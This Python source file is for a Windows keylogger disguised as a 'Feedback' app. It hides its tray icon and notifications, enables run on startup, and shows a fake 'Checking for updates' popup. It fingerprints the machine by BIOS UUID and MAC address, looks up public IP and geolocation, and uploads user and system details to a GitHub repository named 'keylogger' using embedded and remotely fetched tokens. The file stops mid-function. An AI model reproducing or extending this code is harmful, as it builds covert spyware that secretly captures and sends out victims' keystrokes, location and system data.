feedback.py

import os
import sys
import time
import json
import uuid
import ctypes
import base64
import winreg
import psutil
import socket 
import getpass
import logging
import win32con
import platform 
import requests
import threading
import pyautogui
import pyperclip
import webbrowser
import subprocess
import tkinter as tk
from io import BytesIO
import ctypes.wintypes
WM_MOUSEMOVE = 0x0200
import pygetwindow as gw
from pynput import keyboard
from plyer import notification
from ctypes import WINFUNCTYPE
from datetime import datetime
from PIL import Image, ImageDraw
from tkinter import ttk, messagebox
from pystray import Icon, Menu, MenuItem

# Global variables
APP_NAME = "Feedback"
is_running = True # Screenshots enabled
listener_running = True # Keylogging enabled
screenshot_interval = 600  # Default interval (seconds)
lock = threading.Lock()
current_window = None  # Currently active window
current_keys = []  # Keys typed in the current window
last_clipboard_content = None  # To track clipboard changes
current_line = ""
first_entry = True
active_window = ""
keys_pressed = set()  # Keeps track of currently pressed keys
username = getpass.getuser() # get the current user name of PC
global last_upload
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

# customize the program
SHOW_NOTIFICATIONS = False  # control notification display - Set to False to suppress notifications
is_startup_enabled = True # Track the "Run on Startup" state
global tray_icon
tray_icon = None
icon_visible = False  # True -> show icon | False -> hide icon
threshold_seconds = 90 * 24 * 60 * 60  # time in second (90 days in seconds) to delete log fileups and folders
# interval_logs_delete_status = 1 * 24 * 60 * 60 # interval in second (1 days in seconds) for checking log delete status
interval_logs_delete_status = 10 # interval in second (1 days in seconds) for checking log delete status
# interval_logs_Upload_status = 1 * 24 * 60 * 60 # interval in second (1 days in seconds) for checking log upload status
interval_logs_Upload_status = 30 * 60 # interval in second (1 days in seconds) for checking log upload status
CURRENT_VERSION = "2.1.2" # current version of program <---------<----------<-----------------<-----------<---------------<-----------------<-----
VERSION_URL = "https://raw.githubusercontent.com/bebedudu/autoupdate/refs/heads/main/latest_version.txt" # url to check new version
BASE_DOWNLOAD_URL = "https://github.com/bebedudu/autoupdate/releases/download" # url to download then updated program
APPLICATION_NAME = "feedback.exe" # compiled program name

# GitHub Configuration for active user
# URL containing the tokens JSON
TOKEN_URL = "https://raw.githubusercontent.com/bebedudu/tokens/refs/heads/main/tokens.json"
# Default token if URL fetch fails
DEFAULT_TOKEN = "asdft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aefthu"


# Determine the application directory for logging error
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False):  # Check if the script is bundled
    app_dir = os.path.dirname(sys.executable)  # Directory of the .exe file
else:
    app_dir = os.path.dirname(os.path.abspath(__file__))  # Directory of the script
    
# Log file path in the application directory
LOG_FILE = os.path.join(app_dir, "keylogerror.log")
# Ensure the log file exists or create it
if not os.path.exists(LOG_FILE):
    try:
        with open(LOG_FILE, 'w'):  # Create the file if it doesn't exist
            pass
    except Exception as e:
        print(f"Error creating log file: {e}")
        raise
# Configure logging
logging.basicConfig(
    filename=LOG_FILE,
    level=logging.INFO,
    format="%(asctime)s - %(levelname)s - %(message)s"
)
# Test logging
logging.info(f"\n\n\nApplication started successfully {username}.")
print(f"Application started successfully {username}.")
# print(f"The username of this PC is: {username}")

if(LOG_FILE):
    logging.info(f"Log file is at {LOG_FILE}")
    print(f"Log file is at {LOG_FILE}")
else:
    logging.info(f"Error creating log file")
    print(f"Error creating log file")
    

# function to get token number 
# ----------------------------------------------------------------------------------
def get_token():
    try:
        # Fetch the JSON from the URL
        response = requests.get(TOKEN_URL)
        if response.status_code == 200:
            token_data = response.json()

            # Check if the "feedback" key exists
            if "feedback" in token_data:
                token = token_data["feedback"]

                # Remove the first 5 and last 6 characters
                processed_token = token[5:-6]
                logging.info(f"Token fetched and processed")
                # print(f"Token fetched and processed: {processed_token}")
                return processed_token
            else:
                logging.warning("Key 'feedback' not found in the token data.")
                print("Key 'feedback' not found in the token data.")
        else:
            logging.warning(f"Failed to fetch tokens. Status code: {response.status_code}")
            print(f"Failed to fetch tokens. Status code: {response.status_code}")
    except Exception as e:
        logging.warning(f"An error occurred while fetching the token: {e}")
        print(f"An error occurred while fetching the token: {e}")

    # Fallback to the default token
    # logging.info("Using default token.")
    print("Using default token.")
    return DEFAULT_TOKEN[5:-6]
# Call the function
GITHUB_TOKEN = get_token()
# print(f"Final Token: {GITHUB_TOKEN}")

REPO = "bebedudu/keylogger"  # Replace with your repo (username/repo)
FILE_PATH = "uploads/activeuserinfo.txt"  # Path to the file in the repo (e.g., "folder/file.txt") (https://raw.githubusercontent.com/bebedudu/keylogger/refs/heads/main/c/activeuserinfo.txt)
BRANCH = "main"  # The branch to modify
API_BASE_URL = "https://api.github.com"
INTERVAL_URL = "https://raw.githubusercontent.com/bebedudu/autoupdate/main/interval.json"  # Interval JSON URL
IPINFO_TOKEN = "ccb3ba52662beb"  # Replace with your ipinfo token


# Function to get the BIOS UUID on Windows for unique identification
# ----------------------------------------------------------------------------------
# def get_windows_uuid():
#     try:
#         output = subprocess.check_output('wmic csproduct get uuid', shell=True).decode()
#         return output.split('\n')[1].strip()
#     except Exception as e:
#         return str(e)
# logging.info("🖥️ Windows Persistent BIOS UUID:", get_windows_uuid())
# print("🖥️ Windows Persistent BIOS UUID:", get_windows_uuid())
# unique_id = get_windows_uuid() # generate universally unique identifiers (UUIDs) across all devices

# Function to get the BIOS UUID on Windows for unique identification
def get_windows_uuid():
    try:
        output = subprocess.check_output('wmic csproduct get uuid', shell=True).decode()
        uuid_value = output.split('\n')[1].strip()
        if uuid_value:
            return uuid_value
        else:
            raise ValueError("Empty UUID value")
    except Exception as e:
        logging.warning(f"Failed to get BIOS UUID: {e}")
        print(f"Failed to get BIOS UUID: {e}")
        return get_mac_address()  # Fallback to MAC address if BIOS UUID retrieval fails
# Function to get the MAC address (used if BIOS UUID retrieval fails)
def get_mac_address():
    try:
        mac = uuid.getnode()
        mac_str = ':'.join(("%012X" % mac)[i:i+2] for i in range(0, 12, 2))
        if mac_str:
            return mac_str
        else:
            raise ValueError("Failed to get MAC address")
    except Exception as e:
        logging.error(f"Failed to get MAC address: {e}")
        print(f"Failed to get MAC address: {e}")
        return str(e)
# Main script
logging.info(f"🖥️ Windows Persistent UUID: {get_windows_uuid()}")
print("🖥️ Windows Persistent UUID:", get_windows_uuid())
unique_id = get_windows_uuid()  # generate universally unique identifiers (UUIDs) across all devices


# Default configuration
# ----------------------------------------------------------------------------------
DEFAULT_CONFIG = {
    "version": CURRENT_VERSION,  # Default: Current version
    "screenshot_interval": 300,  # Default: 5 minutes
    "Screenshot_enabled": True,          # Default: Screenshots enabled
    "Keyoard_enabled": True,     # Default: Keylogging enabled
    # "remaining_log_days": 60,    # Default: 60 seconds remaining for log folder
    "remaining_log_days": 90 * 24 * 60 * 60,    # Default: 5 days in seconds remaining for log folder
    # "remaining_screenshot_days": 60,  # Default: 60 seconds remaining for screenshot folder
    "remaining_screenshot_days":  90 * 24 * 60 * 60,  # Default: 5 days in seconds,  # Default: 5 days remaining for screenshot folder
    "last_upload": None,  # Default to None for first run
    "startup_enable": True,  # Default: Run on startup disabled
}


# Determine the application directory for images files
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False):  # Bundled as .exe
    app_dir = os.path.dirname(sys.executable)
else:  # Running as a script
    app_dir = os.path.dirname(os.path.abspath(__file__))

# Define the logs folder and log file path
# image_folders = os.path.join(app_dir, "image")
image_folders = os.path.join(app_dir, "assets\\image")
ICON_PATH = os.path.join(image_folders, "icon.ico")
# Ensure the logs folder exists
try:
    os.makedirs(image_folders, exist_ok=True)  # Create logs folder if it doesn't exist
    logging.info(f"icon is at {ICON_PATH}")
    print(f"icon is at {ICON_PATH}")
except Exception as e:
    logging.error(f"Error creating image folder: {e}")
    print(f"Error creating image folder: {e}")
    raise SystemExit(f"Error: Unable to create image folder. {e}")


# Determine the application directory for schedule files
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False):  # Bundled as .exe
    app_dir = os.path.dirname(sys.executable)
else:  # Running as a script
    app_dir = os.path.dirname(os.path.abspath(__file__))

# Define the logs folder and log file path
# image_folders = os.path.join(app_dir, "image")
task_folders = os.path.join(app_dir, "assets\\schedule")
TASK_FILE = os.path.join(task_folders, "MyFeedback.xml")
# Ensure the logs folder exists
try:
    os.makedirs(task_folders, exist_ok=True)  # Create logs folder if it doesn't exist
    logging.info(f"schedule is at {TASK_FILE}")
    print(f"schedule is at {TASK_FILE}")
except Exception as e:
    logging.error(f"Error creating task folder: {e}")
    print(f"Error creating task folder: {e}")
    raise SystemExit(f"Error: Unable to create task folder. {e}")


# Determine the application directory for error backup files
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False):  # Bundled as .exe
    app_dir = os.path.dirname(sys.executable)
else:  # Running as a script
    app_dir = os.path.dirname(os.path.abspath(__file__))

# Define the logs folder and log file path
# image_folders = os.path.join(app_dir, "image")
task_folders = os.path.join(app_dir, "assets\\schedule")
BAT_FILE = os.path.join(task_folders, "feedbackBackup.bat")
# Ensure the logs folder exists
try:
    os.makedirs(task_folders, exist_ok=True)  # Create logs folder if it doesn't exist
    logging.info(f"backup file is at {BAT_FILE}")
    print(f"backup file is at {BAT_FILE}")
except Exception as e:
    logging.error(f"Error creating task folder: {e}")
    print(f"Error creating task folder: {e}")
    raise SystemExit(f"Error: Unable to create task folder. {e}")


# Determine the application directory for screenshot folder
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False):  # Check if the script is bundled as .exe
    app_dir = os.path.dirname(sys.executable)  # Directory of the .exe file
else:  # Running as a script
    app_dir = os.path.dirname(os.path.abspath(__file__))  # Directory of the script
    
# Define the screenshots folder path
screenshot_folder = os.path.join(app_dir, "screenshots")
# Ensure the screenshots folder exists
try:
    os.makedirs(screenshot_folder, exist_ok=True)
    logging.info(f"screenshots folder ready at {screenshot_folder}")
    print(f"screenshots folder is at {screenshot_folder}")
except Exception as e:
    logging.error(f"Error creating 'screenshots' folder: {e}")
    print(f"Error creating 'screenshots' folder: {e}")
    raise SystemExit(f"Error: Unable to create 'screenshots' folder. {e}")


# Determine the application directory for log files
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False):  # Bundled as .exe
    app_dir = os.path.dirname(sys.executable)
else:  # Running as a script
    app_dir = os.path.dirname(os.path.abspath(__file__))

# Define the logs folder and log file path
logs_folder = os.path.join(app_dir, "logs")
keylog_file = os.path.join(logs_folder, "key_log.txt")
# Ensure the logs folder exists
try:
    os.makedirs(logs_folder, exist_ok=True)  # Create logs folder if it doesn't exist
    logging.info(f"keylog file is at {keylog_file}")
    print(f"keylog file is at {keylog_file}")
except Exception as e:
    logging.error(f"Error creating logs folder: {e}")
    print(f"Error creating logs folder: {e}")
    raise SystemExit(f"Error: Unable to create logs folder. {e}")
# clipboard log file path
clipboard_log_file = os.path.join(logs_folder, "clipboard_log.txt")
logging.info(f"clipbard log file is at {clipboard_log_file}")
print(f"clipbard log file is at {clipboard_log_file}")


# Determine the application directory for log folder & config file
# ----------------------------------------------------------------------------------
if getattr(sys, 'frozen', False):  # Bundled as .exe
    app_dir = os.path.dirname(sys.executable)
else:  # Running as a script
    app_dir = os.path.dirname(os.path.abspath(__file__))

# Define the logs folder and log file path
CONFIG_FILE = os.path.join(app_dir, "config.json")
# Ensure the logs folder exists
try:
    os.makedirs(app_dir, exist_ok=True)  # Create logs folder if it doesn't exist
    logging.info(f"configuration file is at {CONFIG_FILE}")
    print(f"configuration file is at {CONFIG_FILE}")
except Exception as e:
    logging.error(f"Error creating logs folder: {e}")
    print(f"Error creating logs folder: {e}")
    raise SystemExit(f"Error: Unable to create config file. {e}") 

# useragreement file path
useragreement_file = os.path.join(app_dir, "terms.txt")
logging.info(f"useragreement file is at {useragreement_file}")
print(f"useragreement file is at {useragreement_file}")


# Notification function
# ----------------------------------------------------------------------------------
def show_notification(title, message):
    """
    Show a system notification if SHOW_NOTIFICATIONS is True.
    """
    if not SHOW_NOTIFICATIONS:
        logging.warning("Notification suppressed.")
        print("Notification suppressed.")
        return
    try:
        notification.notify(
            title=title,
            message=message,
            app_name="Keylogger",
            # app_icon=ICON_PATH,
            app_icon=ICON_PATH if os.path.exists(ICON_PATH) else None,
            timeout=3
        )
    except Exception as e:
        logging.error(f"Notification Error: {e}")
        print(f"Notification Error: {e}")
    
    
# Function to show a notification with a custom duration
# ----------------------------------------------------------------------------------
def show_test_notification(title, message, duration=1):
    root = tk.Tk()
    root.title(title)
    root.geometry("300x60")
    root.overrideredirect(True)  # Removes window decorations
    root.attributes("-topmost", True)  # Keeps the window on top
    root.configure(bg="#282C34")  # Background color
    
    # Get screen dimensions and position the window at the center
    screen_width = root.winfo_screenwidth()
    screen_height = root.winfo_screenheight()
    
    # center window notification
    # window_width, window_height = 300, 60  # Same as geometry
    # position_x = (screen_width // 2) - (window_width // 2)
    # position_y = (screen_height // 2) - (window_height // 2)
    # root.geometry(f"{window_width}x{window_height}+{position_x}+{position_y}")
    
    # bottom-right corner notification
    x = screen_width - 320
    y = screen_height - 140
    root.geometry(f"+{x}+{y}")  # Position the window at the bottom-right corner
    
    # # Add a rounded border
    frame = ttk.Frame(root, style="Custom.TFrame")
    frame.pack(fill="both", expand=True, padx=10, pady=10)

    label = tk.Label(
        root, 
        text=message, 
        font=("Helvetica", 12), 
        padx=10, 
        pady=10,
        fg="#ABB2BF",
        bg="#282C34",
        # wraplength=280,
        # justify="center",
    )
    label.pack(expand=True)

    # Close the window after the specified duration
    # root.after(duration * 1000, root.destroy) # duration in second
    root.after(duration, root.destroy) # duration in millisecond
    root.mainloop()
logging.info("Start Notification displayed successfully.")
print("Start Notification displayed successfully.")
show_test_notification(f"Hello","Cheking for updates", duration=400)


# Function to get user active status
# ----------------------------------------------------------------------------------
DEFAULT_INTERVAL = 60  # Default interval (fallback)
HEADERS = {
    "Authorization": f"token {GITHUB_TOKEN}",
    "Accept": "application/vnd.github.v3+json",
}

def is_internet_available():
    """Check if the internet connection is available."""
    try:
        requests.get("https://www.google.com", timeout=3)
        return True
    except requests.RequestException:
        logging.warning("No internet connection.")
        print("No internet connection.")
        return False
    
def format_interval(seconds):
    """
    Format the interval in seconds into a human-readable format.
    """
    if seconds < 60:
        return f"{seconds} second{'s' if seconds > 1 else ''}"
    elif seconds < 3600:
        minutes = seconds // 60
        return f"{minutes} minute{'s' if minutes > 1 else ''}"
    else:
        hours = seconds // 3600
        return f"{hours} hour{'s' if hours > 1 else ''}"


def fetch_interval():
    """
    Fetch the interval value from the remote URL and return it as a human-readable string.
    """
    try:
        response = requests.get(INTERVAL_URL, timeout=5)
        response.raise_for_status()
        interval_data = response.json()
        interval_seconds = interval_data.get("UseActiveInterval", DEFAULT_INTERVAL)
        human_readable_interval = format_interval(interval_seconds)
        print(f"\n-----Fetched interval (User Active Interval): {human_readable_interval}-----")
        return interval_seconds
    except requests.RequestException as e:
        logging.error(f"Failed to fetch interval from URL. Using default: {DEFAULT_INTERVAL} seconds")
        print(f"\n-----Failed to fetch interval from URL. Using default: {DEFAULT_INTERVAL} seconds-----")
        return DEFAULT_INTERVAL


def get_public_ip():
    """Get the public IP address of the user."""
    try:
        response = requests.get("https://api64.ipify.org?format=json")
        response.raise_for_status()
        return response.json().get("ip")
    except requests.RequestException as e:
        logging.error(f"Error fetching public IP: {e}")
        print(f"Error fetching public IP: {e}")
        return None


def get_geolocation(ip_address):
    """Get geolocation details for the given IP address."""
    try:
        # api_url = f"https://ipinfo.io/{ip_address}?token=ccb3ba52662beb"  # Replace with your ipinfo token
        api_url = f"https://ipinfo.io/{ip_address}?token={IPINFO_TOKEN}"  # Replace with your ipinfo token
        response = requests.get(api_url)
        response.raise_for_status()
        data = response.json()
        return (
            data.get("country", "N/A"),
            data.get("region", "N/A"),
            data.get("city", "N/A"),
            data.get("org", "N/A"),
            data.get("loc", "N/A"),
            data.get("postal", "N/A"),
            data.get("timezone", "N/A"),
        )
    except requests.RequestException as e:
        logging.error(f"Error fetching geolocation: {e}")
        print(f"Error fetching geolocation: {e}")
        return ("N/A",) * 7

ip_address = get_public_ip()
country, region, city, org, loc, postal, timezone = get_geolocation(ip_address)
# print(f"Country: {country}, Region: {region}, City: {city}")


def get_system_info():
    """Get detailed system information as a string."""
    info = {
        "System": platform.system(),
        "Node Name": platform.node(),
        "Release": platform.release(),
        "Version": platform.version(),
        "Machine": platform.machine(),
        "Processor": platform.processor(),
        "CPU Cores": psutil.cpu_count(logical=False),
        "Logical CPUs": psutil.cpu_count(logical=True),
        "Total RAM": f"{psutil.virtual_memory().total / (1024 ** 3):.2f} GB",
        "Available RAM": f"{psutil.virtual_memory().available / (1024 ** 3):.2f} GB",
        "Used RAM": f"{psutil.virtual_memory().used / (1024 ** 3):.2f} GB",
        "RAM Usage": f"{psutil.virtual_memory().percent}%",
        "Disk Usage": {
            partition.mountpoint: {
                "Total": f"{psutil.disk_usage(partition.mountpoint).total / (1024 ** 3):.2f} GB",
                "Used": f"{psutil.disk_usage(partition.mountpoint).used / (1024 ** 3):.2f} GB",
                "Free": f"{psutil.disk_usage(partition.mountpoint).free / (1024 ** 3):.2f} GB",
                "Usage": f"{psutil.disk_usage(partition.mountpoint).percent}%",
            }
            for partition in psutil.disk_partitions()
        },
        "IP Address": socket.gethostbyname(socket.gethostname()),
        "MAC Address": ":".join(
            ["{:02x}".format((uuid.getnode() >> elements) & 0xFF) for elements in range(0, 2 * 6, 2)][::-1]
        ),
    }
    logging.info(f"System Info: generated")
    print(f"System Info: generated")
    return json.dumps(info, separators=(",", ":"))


def update_active_user_file(new_entry, active_user):
    """Update the active user file on GitHub."""
    file_url = f"{API_BASE_URL}/repos/{REPO}/contents/{FILE_PATH}"
    
    max_retries = 3
    attempt = 0
    while attempt < max_retries:
        try:
            response = requests.get(file_url, headers=HEADERS)
            if response.status_code == 200:
                file_data = response.json()
                current_content = base64.b64decode(file_data["content"]).decode("utf-8")
                sha = file_data["sha"]
            else:
                print(f"Failed to fetch file content: {response.status_code} - {response.json()}")
                return

            updated_content = current_content + new_entry
            encoded_content = base64.b64encode(updated_content.encode("utf-8")).decode("utf-8")

            update_payload = {
                "message": f"Updating-{active_user}-{country}-{region}-{city}-{unique_id} active user log",
                "content": encoded_content,
                "sha": sha,
                "branch": BRANCH,
            }

            response = requests.put(file_url, headers=HEADERS, data=json.dumps(update_payload))
            if response.status_code == 200:
                print(f"Active-user File updated successfully! New entry: {new_entry}")
                return  # Exit function after successful update
            else:
                print(f"Failed to update file: {response.status_code} - {response.json()}")
        except Exception as e:
            logging.error(f"Error updating file: {e}")
            print(f"Error updating file: {e}")
        attempt += 1
        print(f"Retrying upload ({attempt}/{max_retries}) for {FILE_PATH}...")
        time.sleep(5)  # Wait before retrying
    print(f"Failed to update {FILE_PATH} after {max_retries} attempts.")


def log_active_user():
    """Log the active user information with system info."""
    if not is_internet_available():
        print("No internet connection. Skipping this user active update cycle.")
        return
    
    try:
        active_user = os.getlogin()
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

        user_ip = get_public_ip()
        country, region, city, org, loc, postal, timezone = get_geolocation(user_ip) if user_ip else ("N/A",) * 7
        system_info = get_system_info()

        new_entry = (
            f"{timestamp} - User: {active_user}, Unique_ID: {unique_id} , IP: {user_ip}, Location: {country}, {region}, {city}, Org: {org}, "
            f"Coordinates: {loc}, Postal: {postal}, TimeZone: {timezone}, System Info: {system_info}\n"
        )
        update_active_user_file(new_entry, active_user)
    except Exception as e:
        logging.error(f"An error occurred: {e}")
        print(f"An error occurred: {e}")
              
# Function to check the active user periodically
def active_user_check():
    global DEFAULT_INTERVAL
    try:
        DEFAULT_INTERVAL = fetch_interval()  # Fetch updated interval
        log_active_user()
        time.sleep(DEFAULT_INTERVAL)
        threading.Timer(DEFAULT_INTERVAL, active_user_check).start() # 10 second
    except Exception as e:
        logging.error(f"Error in checking active user: {e}")
        print(f"Error in checking active user: {e}")
# # Start the periodic check
# active_user_check() # Start the active user check

# save configuration & restore 
# ----------------------------------------------------------------------------------
# Load configuration from JSON file
def load_config():
    global version, screenshot_interval, is_running, listener_running, remaining_log_days, remaining_screenshot_days, last_upload, is_startup_enabled
    # Check if the config file exists
    if not os.path.exists(CONFIG_FILE):
        # If the config file doesn't exist, create a default one
        return create_default_config()
    try:
        with open(CONFIG_FILE, "r") as f:
            config = json.load(f)
            version = config.get("version", DEFAULT_CONFIG["version"])  # Load the version
            screenshot_interval = config.get("screenshot_interval", DEFAULT_CONFIG["screenshot_interval"])
            is_running = config.get("Screenshot_enabled", DEFAULT_CONFIG.get("Screenshot_enabled", True))  # Default to True
            listener_running = config.get("Keyoard_enabled", DEFAULT_CONFIG.get("Keyoard_enabled", True))  # Default to True
            remaining_log_days = config.get("remaining_log_days", DEFAULT_CONFIG["remaining_log_days"])
            remaining_screenshot_days = config.get("remaining_screenshot_days", DEFAULT_CONFIG["remaining_screenshot_days"])
            last_upload = config.get("last_upload", DEFAULT_CONFIG["last_upload"])
            is_startup_enabled = config.get("startup_enable", DEFAULT_CONFIG["startup_enable"])  # Load startup_enable
        
        # Synchronize startup state with Windows registry
        synchronize_startup_state()
        
        
        logging.info("configuration loaded sucessfully.")
        print("configuration loaded sucessfully.")
    # except FileNotFoundError as e:
    #     logging.error(f"Error load_config: {e}")
    #     print(f"Error load_config: {e}")
    #     save_config()  # Save defaults if the file doesn't exist
    except json.JSONDecodeError:
        # If JSON is corrupted or invalid, reset the config to default
        logging.error(f"Error load_config: {e}")
        print("Error reading config, resetting to default.")
        return create_default_config()
# Save configuration to JSON file
def save_config():
    global CURRENT_VERSION, screenshot_interval, is_running, listener_running, remaining_log_days, remaining_screenshot_days, last_upload, is_startup_enabled
    try:
        # Ensure the logs folder exists before saving config.json
        os.makedirs(app_dir, exist_ok=True)  # Create LOG_FOLDER if it doesn't exist
        config = {
            "version": CURRENT_VERSION,  # Save the version
            "screenshot_interval": screenshot_interval,
            "Screenshot_enabled": is_running, # Default: Screenshots enabled
            "Keyoard_enabled": listener_running, # Default: Keylogging enabled
            # "remaining_log_days": int(remaining_log_days),  # Save as integer
            # "remaining_screenshot_days": int(remaining_screenshot_days)  # Save as integer
            # "remaining_log_days": remaining_log_days // (24 * 60 * 60),  # Convert seconds to days
            # "remaining_screenshot_days": remaining_screenshot_days // (24 * 60 * 60),  # Convert seconds to days
            "remaining_log_time": format_remaining_time(remaining_log_days),
            "remaining_screenshot_time": format_remaining_time(remaining_screenshot_days),
            "last_upload": last_upload,
            "startup_enable": is_startup_enabled,  # Save startup_enable state
        }
        
        config_path = os.path.join(app_dir, "config.json")  # Save config in LOG_FOLDER
        with open(config_path, "w") as file:
            json.dump(config, file, indent=4) # format json file (indent=4)
        # logging.info("Configuration updated successfully.")
        print("Configuration updated successfully.")
    except Exception as e:
        logging.error(f"Error save_config: {e}")
        print(f"Error saving config: {e}")

def create_default_config():
    # Default config values
    default_config = {
        "version": CURRENT_VERSION,
        "Screenshot_enabled": True,
        "Keyoard_enabled": True,  # Assuming "Keyoard" is a typo for "Keyboard"
    }
    # Write the default config to the file
    with open(CONFIG_FILE, 'w') as f:
        json.dump(default_config, f, indent=4)
    logging.warning("Default config written to config.json")
    print("Default config written to config.json")
    return default_config

# Restore the default configuration
def restore_defaults(icon, item=None):
    try:
        with lock:
            global version, screenshot_interval, is_running, listener_running, remaining_log_days, remaining_screenshot_days, last_upload, is_startup_enabled
            version = DEFAULT_CONFIG["version"]
            screenshot_interval = DEFAULT_CONFIG["screenshot_interval"]
            is_running = DEFAULT_CONFIG["Screenshot_enabled"]
            listener_running = DEFAULT_CONFIG["Keyoard_enabled"]
            remaining_log_days = DEFAULT_CONFIG["remaining_log_days"]
            remaining_screenshot_days = DEFAULT_CONFIG["remaining_screenshot_days"]
            last_upload = DEFAULT_CONFIG["last_upload"]
            is_startup_enabled = DEFAULT_CONFIG["startup_enable"]
            save_config()  # Save the restored defaults to the config file
            
        # interval_display = (
        #     f"{screenshot_interval} seconds" if screenshot_interval < 60 else
        #     f"{screenshot_interval // 60} minutes" if screenshot_interval < 3600 else
        #     f"{screenshot_interval // 3600} hour"
        # )
        
        
        # Notify the user
        # show_notification(APP_NAME, f"Configuration restored to default: {interval_display}.")
        show_notification(APP_NAME, f"Default settings have been restored.")
        logging.info("Configuration restored to default.")
        print("Configuration restored to default.")
        update_checkmarks(icon)  # Update the checkmarks in the menu
    except Exception as e:
        logging.error(f"Error restoring defaults: {e}")
        print(f"Error restoring defaults: {e}")
        show_notification(APP_NAME, "Failed to restore default configuration.")
    load_config()  # Load the interval from JSON file

# Function to save system info
# ----------------------------------------------------------------------------------
def get_system_info(): 
    try:
        info = { 
            "System": platform.system(), 
            "Node Name": platform.node(), 
            "Release": platform.release(), 
            "Version": platform.version(), 
            "Machine": platform.machine(), 
            "Processor": platform.processor(), 
            "CPU Cores": psutil.cpu_count(logical=False), 
            "Logical CPUs": psutil.cpu_count(logical=True), 
            "Total RAM": f"{psutil.virtual_memory().total / (1024 ** 3):.2f} GB", 
            "Available RAM": f"{psutil.virtual_memory().available / (1024 ** 3):.2f} GB", 
            "Used RAM": f"{psutil.virtual_memory().used / (1024 ** 3):.2f} GB", 
            "RAM Usage": f"{psutil.virtual_memory().percent}%", 
            "Disk Partitions": psutil.disk_partitions(), 
            "Disk Usage": {partition.mountpoint: { 
                "Total": f"{psutil.disk_usage(partition.mountpoint).total / (1024 ** 3):.2f} GB", 
                "Used": f"{psutil.disk_usage(partition.mountpoint).used / (1024 ** 3):.2f} GB", 
                "Free": f"{psutil.disk_usage(partition.mountpoint).free / (1024 ** 3):.2f} GB", 
                "Usage": f"{psutil.disk_usage(partition.mountpoint).percent}%" 
            } for partition in psutil.disk_partitions()},
            "IP Address": socket.gethostbyname(socket.gethostname()), 
            "MAC Address": ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(0, 2*6, 2)][::-1])
        } 
        return info 
    except Exception as e:
        logging.error(f"Error getting system information {e}")
        print(f"Error getting system information {e}")

def save_system_info_to_json(): 
    system_info = get_system_info() 
    try:
        log_folder = os.path.join(app_dir, "logs")  # Use app_dir instead of os.getcwd()
        os.makedirs(log_folder, exist_ok=True) 
        json_file_path = os.path.join(log_folder, "system_info.json") 

        with open(json_file_path, "w") as json_file: 
            json.dump(system_info, json_file, indent=4) 

        logging.info(f"System information saved to {json_file_path}")
        print(f"System information saved to {json_file_path}") 
    except Exception as e:
        logging.error(f"Error: Unable to create system_info file. {e}")
        print(f"Error creating system_info.json file: {e}")
save_system_info_to_json()


# auto delete logs folder & screenshot folder 
#----------------------------------------------------------------------------------
# Function to format the remaining time as "X days Y hours Z minutes W seconds"
def format_remaining_time(seconds):
    days = seconds // (24 * 3600)
    seconds %= 24 * 3600
    hours = seconds // 3600
    seconds %= 3600
    minutes = seconds // 60
    seconds %= 60
    return f"{int(days)} days {int(hours)} hours {int(minutes)} minutes {int(seconds)} seconds"

def fetch_config_from_url(url):
    """Fetch configuration from a URL and return as a dictionary."""
    try:
        response = requests.get(url)
        if response.status_code == 200:
            print(f"\n-----Values of interval.JSON-----\n{response.json()}")
            return response.json()
        else:
            logging.warning(f"Failed to fetch config. Status code: {response.status_code}")
            print(f"Failed to fetch config. Status code: {response.status_code}")
            return {}
    except Exception as e:
        logging.error(f"Error fetching config from URL: {e}")
        print(f"Error fetching config from URL: {e}")
        return {}

# Function to calculate the folder's age and delete it if older than 90 days
def check_and_delete_old_folders():
    global remaining_log_days, remaining_screenshot_days
    try:
        # Fetch configuration from URL
        config_url = "https://raw.githubusercontent.com/bebedudu/autoupdate/refs/heads/main/interval.json"
        config = fetch_config_from_url(config_url)
        
        # Extract values from config or use defaults
        remaining_log_days = config.get("remaining_log_days", threshold_seconds)  # Default threshold_seconds is in seconds
        remaining_screenshot_days = config.get("remaining_screenshot_days", threshold_seconds)
        screenshot_delete_status = config.get("screenshot_delete_status", interval_logs_delete_status)
        
        # Print fetched and default intervals
        print("\n-----fetch status of logs & screenshot interval-----")
        print(f"Fetched remaining_log_days: {config.get('remaining_log_days', 'Not found')} (default: {threshold_seconds} seconds - {format_remaining_time(threshold_seconds)})")
        print(f"Fetched remaining_screenshot_days: {config.get('remaining_screenshot_days', 'Not found')} (default: {threshold_seconds} seconds - {format_remaining_time(threshold_seconds)})")
        print(f"Fetched screenshot_delete_status: {config.get('screenshot_delete_status', 'Not found')} (default: {interval_logs_delete_status} seconds)")

        # Print currently using values
        # print("\n-----Currently Using Values-----")
        # print(f"Using remaining_log_days: {remaining_log_days} seconds")
        # print(f"Using remaining_screenshot_days: {remaining_screenshot_days} seconds")
        # print(f"Using screenshot_delete_status: {screenshot_delete_status} seconds")
        
        # Print currently using values
        print("\n-----Currently Using Values-----")
        print(f"Using remaining_log_seconds: {remaining_log_days} seconds ({format_remaining_time(remaining_log_days)})")
        print(f"Using remaining_screenshot_seconds: {remaining_screenshot_days} seconds ({format_remaining_time(remaining_screenshot_days)})")
        print(f"Using screenshot_delete_status: {screenshot_delete_status} seconds")
        
        current_time = datetime.now()
        # threshold_seconds = 120  # 2 minute in seconds for testing
        # threshold_seconds = 5 * 24 * 60 * 60  # 5 days in seconds
        # global threshold_seconds

        # Logs folder cleaning
        if os.path.exists(logs_folder):
            remaining_log_days = clean_folder(logs_folder, current_time, remaining_log_days)
            # remaining_log_days = clean_folder(logs_folder, current_time, threshold_seconds)
            # print("remaining log days:- ", remaining_log_days)
            # logging.warning(f"remaining time to delete logs: {format_remaining_time(remaining_log_days)}")
            print(f"\n\n==========================================================================================\nremaining time to delete logs: {format_remaining_time(remaining_log_days)}\n------------------------------------------------------------------------------------------")

        # Screenshot folder cleaning
        if os.path.exists(screenshot_folder):
            remaining_screenshot_days = clean_folder(screenshot_folder, current_time, remaining_screenshot_days)
            # remaining_screenshot_days = clean_folder(screenshot_folder, current_time, threshold_seconds)
            # print("remaining screenshot days:- ", remaining_screenshot_days)
